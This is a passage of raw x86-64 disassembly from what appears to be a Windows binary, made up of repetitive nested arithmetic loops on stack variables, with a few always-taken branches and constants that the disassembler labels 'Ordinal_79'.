sar eax, 1
mov dword [rsp + 0x100], eax
jmp 0x140187e74
mov eax, dword [rsp + 0x468]
imul eax, dword [rsp + 0xd74]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1258], eax
cmp dword [rsp + 0x468], 0xb
jl 0x140187e4f
jmp 0x140187e20
cmp dword [rsp + 0xd74], 0x14
jle 0x140187f60
mov eax, dword [rsp + 0xd74]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xd78], eax
mov dword [rsp + 0x104], Ordinal_79
cmp dword [rsp + 0x104], 0
jle 0x140187f45
mov eax, dword [rsp + 0x104]
sub eax, 5
mov dword [rsp + 0x104], eax
cmp dword [rsp + 0x104], 0xa
jne 0x140187f43
mov eax, dword [rsp + 0x104]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x104], eax
jmp 0x140187f0b
mov eax, dword [rsp + 0xd78]
sub eax, 2
mov dword [rsp + 0xd78], eax
cmp dword [rsp + 0xd78], 0
jg 0x140187f00
jmp 0x140187dea
cmp dword [rsp + 0x46c], 0x1c
jl 0x140187c30
jmp 0x140187c01
cmp dword [rsp + 0xd7c], 0x1e
jle 0x140188143
mov eax, dword [rsp + 0xd7c]
cdq
mov ecx, 7
idiv ecx
mov dword [rsp + 0xd8c], eax
mov dword [rsp + 0xd80], 0
jmp 0x140187fb9
mov eax, dword [rsp + 0xd80]
inc eax
mov dword [rsp + 0xd80], eax
cmp dword [rsp + 0xd80], 5
jge 0x140188124
mov dword [rsp + 0xd84], 0x2a
mov dword [rsp + 0x880], 0
jmp 0x140187fef
mov eax, dword [rsp + 0x880]
inc eax
mov dword [rsp + 0x880], eax
cmp dword [rsp + 0x880], 4
jge 0x14018809e
mov eax, dword [rsp + 0x880]
add eax, 2
mov dword [rsp + 0x470], eax
mov eax, dword [rsp + 0x470]
inc eax
mov dword [rsp + 0x470], eax
cmp dword [rsp + 0x470], 7
jne 0x14018808b
mov dword [rsp + 0x108], Ordinal_79
cmp dword [rsp + 0x108], 0
jle 0x14018806d
mov eax, dword [rsp + 0x108]
sub eax, 5
mov dword [rsp + 0x108], eax
cmp dword [rsp + 0x108], 0xa
jne 0x14018806b
mov eax, dword [rsp + 0x108]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x108], eax
jmp 0x140188033
mov eax, dword [rsp + 0x470]
imul eax, dword [rsp + 0xd84]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x125c], eax
cmp dword [rsp + 0x470], 0xb
jl 0x14018800e
jmp 0x140187fdf
cmp dword [rsp + 0xd84], 0x14
jle 0x14018811f
mov eax, dword [rsp + 0xd84]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xd88], eax
mov dword [rsp + 0x10c], Ordinal_79
cmp dword [rsp + 0x10c], 0
jle 0x140188104
mov eax, dword [rsp + 0x10c]
sub eax, 5
mov dword [rsp + 0x10c], eax
cmp dword [rsp + 0x10c], 0xa
jne 0x140188102
mov eax, dword [rsp + 0x10c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x10c], eax
jmp 0x1401880ca
mov eax, dword [rsp + 0xd88]
sub eax, 2
mov dword [rsp + 0xd88], eax
cmp dword [rsp + 0xd88], 0
jg 0x1401880bf
jmp 0x140187fa9
mov eax, dword [rsp + 0xd8c]
sub eax, 2
mov dword [rsp + 0xd8c], eax
cmp dword [rsp + 0xd8c], 0
jg 0x140187f9c
mov dword [rsp + 0xd90], 0
jmp 0x140188160
mov eax, dword [rsp + 0xd90]
inc eax
mov dword [rsp + 0xd90], eax
cmp dword [rsp + 0xd90], 5
jge 0x1401882cb
mov dword [rsp + 0xd94], 0x2a
mov dword [rsp + 0x884], 0
jmp 0x140188196
mov eax, dword [rsp + 0x884]
inc eax
mov dword [rsp + 0x884], eax
cmp dword [rsp + 0x884], 4
jge 0x140188245
mov eax, dword [rsp + 0x884]
add eax, 2
mov dword [rsp + 0x474], eax
mov eax, dword [rsp + 0x474]
inc eax
mov dword [rsp + 0x474], eax
cmp dword [rsp + 0x474], 7
jne 0x140188232
mov dword [rsp + 0x110], Ordinal_79
cmp dword [rsp + 0x110], 0
jle 0x140188214
mov eax, dword [rsp + 0x110]
sub eax, 5
mov dword [rsp + 0x110], eax
cmp dword [rsp + 0x110], 0xa
jne 0x140188212
mov eax, dword [rsp + 0x110]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x110], eax
jmp 0x1401881da
mov eax, dword [rsp + 0x474]
imul eax, dword [rsp + 0xd94]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1260], eax
cmp dword [rsp + 0x474], 0xb
jl 0x1401881b5
jmp 0x140188186
cmp dword [rsp + 0xd94], 0x14
jle 0x1401882c6
mov eax, dword [rsp + 0xd94]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xd98], eax
mov dword [rsp + 0x114], Ordinal_79
cmp dword [rsp + 0x114], 0
jle 0x1401882ab
mov eax, dword [rsp + 0x114]
sub eax, 5
mov dword [rsp + 0x114], eax
cmp dword [rsp + 0x114], 0xa
jne 0x1401882a9
mov eax, dword [rsp + 0x114]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x114], eax
jmp 0x140188271
mov eax, dword [rsp + 0xd98]
sub eax, 2
mov dword [rsp + 0xd98], eax
cmp dword [rsp + 0xd98], 0
jg 0x140188266
jmp 0x140188150
jmp 0x140187bcb
jmp 0x1401889fe
mov dword [rsp + 0xd9c], 0
jmp 0x1401882f2
mov eax, dword [rsp + 0xd9c]
inc eax
mov dword [rsp + 0xd9c], eax
cmp dword [rsp + 0xd9c], 5
jge 0x1401889fe
mov dword [rsp + 0xdb8], 0x34
mov dword [rsp + 0x888], 0
jmp 0x140188328
mov eax, dword [rsp + 0x888]
inc eax
mov dword [rsp + 0x888], eax
cmp dword [rsp + 0x888], 7
jge 0x1401886a7
mov eax, dword [rsp + 0x888]
add eax, 4
mov dword [rsp + 0x480], eax
mov eax, dword [rsp + 0x480]
add eax, 3
mov dword [rsp + 0x480], eax
cmp dword [rsp + 0x480], 0x10
jne 0x140188694
mov dword [rsp + 0xda0], 0
jmp 0x140188383
mov eax, dword [rsp + 0xda0]
inc eax
mov dword [rsp + 0xda0], eax
cmp dword [rsp + 0xda0], 5
jge 0x1401884ee
mov dword [rsp + 0xda4], 0x2a
mov dword [rsp + 0x88c], 0
jmp 0x1401883b9
mov eax, dword [rsp + 0x88c]
inc eax
mov dword [rsp + 0x88c], eax
cmp dword [rsp + 0x88c], 4
jge 0x140188468
mov eax, dword [rsp + 0x88c]
add eax, 2
mov dword [rsp + 0x478], eax
mov eax, dword [rsp + 0x478]
inc eax
mov dword [rsp + 0x478], eax
cmp dword [rsp + 0x478], 7
jne 0x140188455
mov dword [rsp + 0x118], Ordinal_79
cmp dword [rsp + 0x118], 0
jle 0x140188437
mov eax, dword [rsp + 0x118]
sub eax, 5
mov dword [rsp + 0x118], eax
cmp dword [rsp + 0x118], 0xa
jne 0x140188435
mov eax, dword [rsp + 0x118]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x118], eax
jmp 0x1401883fd
mov eax, dword [rsp + 0x478]
imul eax, dword [rsp + 0xda4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1264], eax
cmp dword [rsp + 0x478], 0xb
jl 0x1401883d8
jmp 0x1401883a9
cmp dword [rsp + 0xda4], 0x14
jle 0x1401884e9
mov eax, dword [rsp + 0xda4]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xda8], eax
mov dword [rsp + 0x11c], Ordinal_79
cmp dword [rsp + 0x11c], 0
jle 0x1401884ce
mov eax, dword [rsp + 0x11c]
sub eax, 5
mov dword [rsp + 0x11c], eax
cmp dword [rsp + 0x11c], 0xa
jne 0x1401884cc
mov eax, dword [rsp + 0x11c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x11c], eax
jmp 0x140188494
mov eax, dword [rsp + 0xda8]
sub eax, 2
mov dword [rsp + 0xda8], eax
cmp dword [rsp + 0xda8], 0
jg 0x140188489
jmp 0x140188373
mov eax, dword [rsp + 0x480]
imul eax, dword [rsp + 0xdb8]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x1268], eax
mov dword [rsp + 0xdac], 0
jmp 0x140188529
mov eax, dword [rsp + 0xdac]
inc eax
mov dword [rsp + 0xdac], eax
cmp dword [rsp + 0xdac], 5
jge 0x140188694
mov dword [rsp + 0xdb0], 0x2a
mov dword [rsp + 0x890], 0
jmp 0x14018855f
mov eax, dword [rsp + 0x890]
inc eax
mov dword [rsp + 0x890], eax
cmp dword [rsp + 0x890], 4
jge 0x14018860e
mov eax, dword [rsp + 0x890]
add eax, 2
mov dword [rsp + 0x47c], eax
mov eax, dword [rsp + 0x47c]
inc eax
mov dword [rsp + 0x47c], eax
cmp dword [rsp + 0x47c], 7
jne 0x1401885fb
mov dword [rsp + 0x120], Ordinal_79
cmp dword [rsp + 0x120], 0
jle 0x1401885dd
mov eax, dword [rsp + 0x120]
sub eax, 5
mov dword [rsp + 0x120], eax
cmp dword [rsp + 0x120], 0xa
jne 0x1401885db
mov eax, dword [rsp + 0x120]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x120], eax
jmp 0x1401885a3
mov eax, dword [rsp + 0x47c]
imul eax, dword [rsp + 0xdb0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x126c], eax
cmp dword [rsp + 0x47c], 0xb
jl 0x14018857e
jmp 0x14018854f
cmp dword [rsp + 0xdb0], 0x14
jle 0x14018868f
mov eax, dword [rsp + 0xdb0]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xdb4], eax
mov dword [rsp + 0x124], Ordinal_79
cmp dword [rsp + 0x124], 0
jle 0x140188674
mov eax, dword [rsp + 0x124]
sub eax, 5
mov dword [rsp + 0x124], eax
cmp dword [rsp + 0x124], 0xa
jne 0x140188672
mov eax, dword [rsp + 0x124]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x124], eax
jmp 0x14018863a
mov eax, dword [rsp + 0xdb4]
sub eax, 2
mov dword [rsp + 0xdb4], eax
cmp dword [rsp + 0xdb4], 0
jg 0x14018862f
jmp 0x140188519
cmp dword [rsp + 0x480], 0x1b
jl 0x140188347
jmp 0x140188318
cmp dword [rsp + 0xdb8], 0x19
jle 0x140188871
mov eax, dword [rsp + 0xdb8]
cdq
mov ecx, 6
idiv ecx
mov dword [rsp + 0xdc8], eax
mov dword [rsp + 0xdbc], 0
jmp 0x1401886e8
mov eax, dword [rsp + 0xdbc]
inc eax
mov dword [rsp + 0xdbc], eax
cmp dword [rsp + 0xdbc], 5
jge 0x140188853
mov dword [rsp + 0xdc0], 0x2a
mov dword [rsp + 0x894], 0
jmp 0x14018871e
mov eax, dword [rsp + 0x894]
inc eax
mov dword [rsp + 0x894], eax
cmp dword [rsp + 0x894], 4
jge 0x1401887cd
mov eax, dword [rsp + 0x894]
add eax, 2
mov dword [rsp + 0x484], eax
mov eax, dword [rsp + 0x484]
inc eax
mov dword [rsp + 0x484], eax
cmp dword [rsp + 0x484], 7
jne 0x1401887ba
mov dword [rsp + 0x128], Ordinal_79
cmp dword [rsp + 0x128], 0
jle 0x14018879c
mov eax, dword [rsp + 0x128]
sub eax, 5
mov dword [rsp + 0x128], eax
cmp dword [rsp + 0x128], 0xa
jne 0x14018879a
mov eax, dword [rsp + 0x128]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x128], eax
jmp 0x140188762
mov eax, dword [rsp + 0x484]
imul eax, dword [rsp + 0xdc0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1270], eax
cmp dword [rsp + 0x484], 0xb
jl 0x14018873d
jmp 0x14018870e
cmp dword [rsp + 0xdc0], 0x14
jle 0x14018884e
mov eax, dword [rsp + 0xdc0]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xdc4], eax
mov dword [rsp + 0x12c], Ordinal_79
cmp dword [rsp + 0x12c], 0
jle 0x140188833
mov eax, dword [rsp + 0x12c]
sub eax, 5
mov dword [rsp + 0x12c], eax
cmp dword [rsp + 0x12c], 0xa
jne 0x140188831
mov eax, dword [rsp + 0x12c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x12c], eax
jmp 0x1401887f9
mov eax, dword [rsp + 0xdc4]
sub eax, 2
mov dword [rsp + 0xdc4], eax
cmp dword [rsp + 0xdc4], 0
jg 0x1401887ee
jmp 0x1401886d8
mov eax, dword [rsp + 0xdc8]
dec eax
mov dword [rsp + 0xdc8], eax
cmp dword [rsp + 0xdc8], 0
jg 0x1401886cb
mov dword [rsp + 0xdcc], 0
jmp 0x14018888e
mov eax, dword [rsp + 0xdcc]
inc eax
mov dword [rsp + 0xdcc], eax
cmp dword [rsp + 0xdcc], 5
jge 0x1401889f9
mov dword [rsp + 0xdd0], 0x2a
mov dword [rsp + 0x898], 0
jmp 0x1401888c4
mov eax, dword [rsp + 0x898]
inc eax
mov dword [rsp + 0x898], eax
cmp dword [rsp + 0x898], 4
jge 0x140188973
mov eax, dword [rsp + 0x898]
add eax, 2
mov dword [rsp + 0x488], eax
mov eax, dword [rsp + 0x488]
inc eax
mov dword [rsp + 0x488], eax
cmp dword [rsp + 0x488], 7
jne 0x140188960
mov dword [rsp + 0x130], Ordinal_79
cmp dword [rsp + 0x130], 0
jle 0x140188942
mov eax, dword [rsp + 0x130]
sub eax, 5
mov dword [rsp + 0x130], eax
cmp dword [rsp + 0x130], 0xa
jne 0x140188940
mov eax, dword [rsp + 0x130]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x130], eax
jmp 0x140188908
mov eax, dword [rsp + 0x488]
imul eax, dword [rsp + 0xdd0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1274], eax
cmp dword [rsp + 0x488], 0xb
jl 0x1401888e3
jmp 0x1401888b4
cmp dword [rsp + 0xdd0], 0x14
jle 0x1401889f4
mov eax, dword [rsp + 0xdd0]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xdd4], eax
mov dword [rsp + 0x134], Ordinal_79
cmp dword [rsp + 0x134], 0
jle 0x1401889d9
mov eax, dword [rsp + 0x134]
sub eax, 5
mov dword [rsp + 0x134], eax
cmp dword [rsp + 0x134], 0xa
jne 0x1401889d7
mov eax, dword [rsp + 0x134]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x134], eax
jmp 0x14018899f
mov eax, dword [rsp + 0xdd4]
sub eax, 2
mov dword [rsp + 0xdd4], eax
cmp dword [rsp + 0xdd4], 0
jg 0x140188994
jmp 0x14018887e
jmp 0x1401882e2
xor eax, eax
test eax, eax
je 0x140189b5a
xor eax, eax
test eax, eax
je 0x1401892b6
mov dword [rsp + 0xdd8], 0
jmp 0x140188a2f
mov eax, dword [rsp + 0xdd8]
inc eax
mov dword [rsp + 0xdd8], eax
cmp dword [rsp + 0xdd8], 5
jge 0x1401892b1
mov dword [rsp + 0xdf4], 0x3f
mov dword [rsp + 0x89c], 0
jmp 0x140188a65
mov eax, dword [rsp + 0x89c]
inc eax
mov dword [rsp + 0x89c], eax
cmp dword [rsp + 0x89c], 9
jge 0x140188e9d
mov eax, dword [rsp + 0x89c]
add eax, 7
mov dword [rsp + 0x4a4], eax
mov eax, dword [rsp + 0x4a4]
add eax, 4
mov dword [rsp + 0x4a4], eax
cmp dword [rsp + 0x4a4], 0x15
jne 0x140188e8a
mov dword [rsp + 0xddc], 0
jmp 0x140188ac0
mov eax, dword [rsp + 0xddc]
inc eax
mov dword [rsp + 0xddc], eax
cmp dword [rsp + 0xddc], 5
jge 0x140188c89
mov dword [rsp + 0xde0], 0x11
mov dword [rsp + 0x8a0], 0
jmp 0x140188af6
mov eax, dword [rsp + 0x8a0]
inc eax
mov dword [rsp + 0x8a0], eax
cmp dword [rsp + 0x8a0], 3
jge 0x140188bd1
mov eax, dword [rsp + 0x8a0]
inc eax
mov dword [rsp + 0x490], eax
mov eax, dword [rsp + 0x490]
inc eax
mov dword [rsp + 0x490], eax
cmp dword [rsp + 0x490], 4
jne 0x140188bbe
mov dword [rsp + 0x48c], 0xd
mov dword [rsp + 0x8a4], 0
jmp 0x140188b5a
mov eax, dword [rsp + 0x8a4]
inc eax
mov dword [rsp + 0x8a4], eax
cmp dword [rsp + 0x8a4], 4
jge 0x140188ba3
mov eax, dword [rsp + 0x8a4]
mov ecx, dword [rsp + 0x48c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48c], eax
mov eax, dword [rsp + 0x48c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140188ba1
imul eax, dword [rsp + 0x48c], 3
mov dword [rsp + 0x48c], eax
jmp 0x140188b4a
mov eax, dword [rsp + 0x490]
imul eax, dword [rsp + 0xde0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1278], eax
cmp dword [rsp + 0x490], 6
jl 0x140188b14
jmp 0x140188ae6
cmp dword [rsp + 0xde0], 0xa
jle 0x140188c84
mov eax, dword [rsp + 0xde0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xde4], eax
mov dword [rsp + 0x494], 0xd
mov dword [rsp + 0x8a8], 0
jmp 0x140188c1d
mov eax, dword [rsp + 0x8a8]
inc eax
mov dword [rsp + 0x8a8], eax
cmp dword [rsp + 0x8a8], 4
jge 0x140188c66
mov eax, dword [rsp + 0x8a8]
mov ecx, dword [rsp + 0x494]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x494], eax
mov eax, dword [rsp + 0x494]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140188c64
imul eax, dword [rsp + 0x494], 3
mov dword [rsp + 0x494], eax
jmp 0x140188c0d
mov eax, dword [rsp + 0xde4]
dec eax
mov dword [rsp + 0xde4], eax
cmp dword [rsp + 0xde4], 0
jg 0x140188bf5
jmp 0x140188ab0
mov eax, dword [rsp + 0x4a4]
imul eax, dword [rsp + 0xdf4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x127c], eax
mov dword [rsp + 0xde8], 0
jmp 0x140188cc1
mov eax, dword [rsp + 0xde8]
inc eax
mov dword [rsp + 0xde8], eax
cmp dword [rsp + 0xde8], 5
jge 0x140188e8a
mov dword [rsp + 0xdec], 0x11
mov dword [rsp + 0x8ac], 0
jmp 0x140188cf7
mov eax, dword [rsp + 0x8ac]
inc eax
mov dword [rsp + 0x8ac], eax
cmp dword [rsp + 0x8ac], 3
jge 0x140188dd2
mov eax, dword [rsp + 0x8ac]
inc eax
mov dword [rsp + 0x49c], eax
mov eax, dword [rsp + 0x49c]
inc eax
mov dword [rsp + 0x49c], eax
cmp dword [rsp + 0x49c], 4
jne 0x140188dbf
mov dword [rsp + 0x498], 0xd
mov dword [rsp + 0x8b0], 0
jmp 0x140188d5b
mov eax, dword [rsp + 0x8b0]
inc eax
mov dword [rsp + 0x8b0], eax
cmp dword [rsp + 0x8b0], 4
jge 0x140188da4
mov eax, dword [rsp + 0x8b0]
mov ecx, dword [rsp + 0x498]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x498], eax
mov eax, dword [rsp + 0x498]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140188da2
imul eax, dword [rsp + 0x498], 3
mov dword [rsp + 0x498], eax
jmp 0x140188d4b
mov eax, dword [rsp + 0x49c]
imul eax, dword [rsp + 0xdec]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1280], eax
cmp dword [rsp + 0x49c], 6
jl 0x140188d15
jmp 0x140188ce7
cmp dword [rsp + 0xdec], 0xa
jle 0x140188e85
mov eax, dword [rsp + 0xdec]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xdf0], eax
mov dword [rsp + 0x4a0], 0xd
mov dword [rsp + 0x8b4], 0
jmp 0x140188e1e
mov eax, dword [rsp + 0x8b4]
inc eax
mov dword [rsp + 0x8b4], eax
cmp dword [rsp + 0x8b4], 4
jge 0x140188e67
mov eax, dword [rsp + 0x8b4]
mov ecx, dword [rsp + 0x4a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a0], eax
mov eax, dword [rsp + 0x4a0]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140188e65
imul eax, dword [rsp + 0x4a0], 3
mov dword [rsp + 0x4a0], eax
jmp 0x140188e0e
mov eax, dword [rsp + 0xdf0]
dec eax
mov dword [rsp + 0xdf0], eax
cmp dword [rsp + 0xdf0], 0
jg 0x140188df6
jmp 0x140188cb1
cmp dword [rsp + 0x4a4], 0x23
jl 0x140188a84
jmp 0x140188a55
cmp dword [rsp + 0xdf4], 0x28
jle 0x1401890c6
mov eax, dword [rsp + 0xdf4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xe04], eax
mov dword [rsp + 0xdf8], 0
jmp 0x140188ede
mov eax, dword [rsp + 0xdf8]
inc eax
mov dword [rsp + 0xdf8], eax
cmp dword [rsp + 0xdf8], 5
jge 0x1401890a7
mov dword [rsp + 0xdfc], 0x11
mov dword [rsp + 0x8b8], 0
jmp 0x140188f14
mov eax, dword [rsp + 0x8b8]
inc eax
mov dword [rsp + 0x8b8], eax
cmp dword [rsp + 0x8b8], 3
jge 0x140188fef
mov eax, dword [rsp + 0x8b8]
inc eax
mov dword [rsp + 0x4ac], eax
mov eax, dword [rsp + 0x4ac]
inc eax
mov dword [rsp + 0x4ac], eax
cmp dword [rsp + 0x4ac], 4
jne 0x140188fdc
mov dword [rsp + 0x4a8], 0xd
mov dword [rsp + 0x8bc], 0
jmp 0x140188f78
mov eax, dword [rsp + 0x8bc]
inc eax
mov dword [rsp + 0x8bc], eax
cmp dword [rsp + 0x8bc], 4
jge 0x140188fc1
mov eax, dword [rsp + 0x8bc]
mov ecx, dword [rsp + 0x4a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a8], eax
mov eax, dword [rsp + 0x4a8]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140188fbf
imul eax, dword [rsp + 0x4a8], 3
mov dword [rsp + 0x4a8], eax
jmp 0x140188f68
mov eax, dword [rsp + 0x4ac]
imul eax, dword [rsp + 0xdfc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1284], eax
cmp dword [rsp + 0x4ac], 6
jl 0x140188f32
jmp 0x140188f04
cmp dword [rsp + 0xdfc], 0xa
jle 0x1401890a2
mov eax, dword [rsp + 0xdfc]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xe00], eax
mov dword [rsp + 0x4b0], 0xd
mov dword [rsp + 0x8c0], 0
jmp 0x14018903b
mov eax, dword [rsp + 0x8c0]
inc eax
mov dword [rsp + 0x8c0], eax
cmp dword [rsp + 0x8c0], 4
jge 0x140189084
mov eax, dword [rsp + 0x8c0]
mov ecx, dword [rsp + 0x4b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b0], eax
mov eax, dword [rsp + 0x4b0]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140189082
imul eax, dword [rsp + 0x4b0], 3
mov dword [rsp + 0x4b0], eax
jmp 0x14018902b
mov eax, dword [rsp + 0xe00]
dec eax
mov dword [rsp + 0xe00], eax
cmp dword [rsp + 0xe00], 0
jg 0x140189013
jmp 0x140188ece
mov eax, dword [rsp + 0xe04]
sub eax, 2
mov dword [rsp + 0xe04], eax
cmp dword [rsp + 0xe04], 0
jg 0x140188ec1
mov dword [rsp + 0xe08], 0
jmp 0x1401890e3
mov eax, dword [rsp + 0xe08]
inc eax
mov dword [rsp + 0xe08], eax
cmp dword [rsp + 0xe08], 5
jge 0x1401892ac
mov dword [rsp + 0xe0c], 0x11
mov dword [rsp + 0x8c4], 0
jmp 0x140189119
mov eax, dword [rsp + 0x8c4]
inc eax
mov dword [rsp + 0x8c4], eax
cmp dword [rsp + 0x8c4], 3
jge 0x1401891f4
mov eax, dword [rsp + 0x8c4]
inc eax
mov dword [rsp + 0x4b8], eax
mov eax, dword [rsp + 0x4b8]
inc eax
mov dword [rsp + 0x4b8], eax
cmp dword [rsp + 0x4b8], 4
jne 0x1401891e1
mov dword [rsp + 0x4b4], 0xd
mov dword [rsp + 0x8c8], 0
jmp 0x14018917d
mov eax, dword [rsp + 0x8c8]
inc eax
mov dword [rsp + 0x8c8], eax
cmp dword [rsp + 0x8c8], 4
jge 0x1401891c6
mov eax, dword [rsp + 0x8c8]
mov ecx, dword [rsp + 0x4b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b4], eax
mov eax, dword [rsp + 0x4b4]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1401891c4
imul eax, dword [rsp + 0x4b4], 3
mov dword [rsp + 0x4b4], eax
jmp 0x14018916d
mov eax, dword [rsp + 0x4b8]
imul eax, dword [rsp + 0xe0c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1288], eax
cmp dword [rsp + 0x4b8], 6
jl 0x140189137
jmp 0x140189109
cmp dword [rsp + 0xe0c], 0xa
jle 0x1401892a7
mov eax, dword [rsp + 0xe0c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xe10], eax
mov dword [rsp + 0x4bc], 0xd
mov dword [rsp + 0x8cc], 0
jmp 0x140189240
mov eax, dword [rsp + 0x8cc]
inc eax
mov dword [rsp + 0x8cc], eax
cmp dword [rsp + 0x8cc], 4
jge 0x140189289
mov eax, dword [rsp + 0x8cc]
mov ecx, dword [rsp + 0x4bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bc], eax
mov eax, dword [rsp + 0x4bc]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140189287
imul eax, dword [rsp + 0x4bc], 3
mov dword [rsp + 0x4bc], eax
jmp 0x140189230
mov eax, dword [rsp + 0xe10]
dec eax
mov dword [rsp + 0xe10], eax
cmp dword [rsp + 0xe10], 0
jg 0x140189218
jmp 0x1401890d3
jmp 0x140188a1f
jmp 0x140189b5a
mov dword [rsp + 0xe14], 0
jmp 0x1401892d3
mov eax, dword [rsp + 0xe14]
inc eax
mov dword [rsp + 0xe14], eax
cmp dword [rsp + 0xe14], 5
jge 0x140189b5a
mov dword [rsp + 0xe30], 0x5c
mov dword [rsp + 0x8d0], 0
jmp 0x140189309
mov eax, dword [rsp + 0x8d0]
inc eax
mov dword [rsp + 0x8d0], eax
cmp dword [rsp + 0x8d0], 6
jge 0x140189745
mov eax, dword [rsp + 0x8d0]
add eax, 9
mov dword [rsp + 0x4d8], eax
mov eax, dword [rsp + 0x4d8]
add eax, 3
mov dword [rsp + 0x4d8], eax
cmp dword [rsp + 0x4d8], 0x18
jne 0x140189732
mov dword [rsp + 0xe18], 0
jmp 0x140189364
mov eax, dword [rsp + 0xe18]
inc eax
mov dword [rsp + 0xe18], eax
cmp dword [rsp + 0xe18], 5
jge 0x14018952d
mov dword [rsp + 0xe1c], 0x11
mov dword [rsp + 0x8d4], 0
jmp 0x14018939a
mov eax, dword [rsp + 0x8d4]
inc eax
mov dword [rsp + 0x8d4], eax
cmp dword [rsp + 0x8d4], 3
jge 0x140189475
mov eax, dword [rsp + 0x8d4]
inc eax
mov dword [rsp + 0x4c4], eax
mov eax, dword [rsp + 0x4c4]
inc eax
mov dword [rsp + 0x4c4], eax
cmp dword [rsp + 0x4c4], 4
jne 0x140189462
mov dword [rsp + 0x4c0], 0xd
mov dword [rsp + 0x8d8], 0
jmp 0x1401893fe
mov eax, dword [rsp + 0x8d8]
inc eax
mov dword [rsp + 0x8d8], eax
cmp dword [rsp + 0x8d8], 4
jge 0x140189447
mov eax, dword [rsp + 0x8d8]
mov ecx, dword [rsp + 0x4c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c0], eax
mov eax, dword [rsp + 0x4c0]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140189445
imul eax, dword [rsp + 0x4c0], 3
mov dword [rsp + 0x4c0], eax
jmp 0x1401893ee
mov eax, dword [rsp + 0x4c4]
imul eax, dword [rsp + 0xe1c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x128c], eax
cmp dword [rsp + 0x4c4], 6
jl 0x1401893b8
jmp 0x14018938a
cmp dword [rsp + 0xe1c], 0xa
jle 0x140189528
mov eax, dword [rsp + 0xe1c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xe20], eax
mov dword [rsp + 0x4c8], 0xd
mov dword [rsp + 0x8dc], 0
jmp 0x1401894c1
mov eax, dword [rsp + 0x8dc]
inc eax
mov dword [rsp + 0x8dc], eax
cmp dword [rsp + 0x8dc], 4
jge 0x14018950a
mov eax, dword [rsp + 0x8dc]
mov ecx, dword [rsp + 0x4c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c8], eax
mov eax, dword [rsp + 0x4c8]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140189508
imul eax, dword [rsp + 0x4c8], 3
mov dword [rsp + 0x4c8], eax
jmp 0x1401894b1
mov eax, dword [rsp + 0xe20]
dec eax
mov dword [rsp + 0xe20], eax
cmp dword [rsp + 0xe20], 0
jg 0x140189499
jmp 0x140189354
mov eax, dword [rsp + 0x4d8]
imul eax, dword [rsp + 0xe30]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1290], eax
mov dword [rsp + 0xe24], 0
jmp 0x140189569
mov eax, dword [rsp + 0xe24]
inc eax
mov dword [rsp + 0xe24], eax
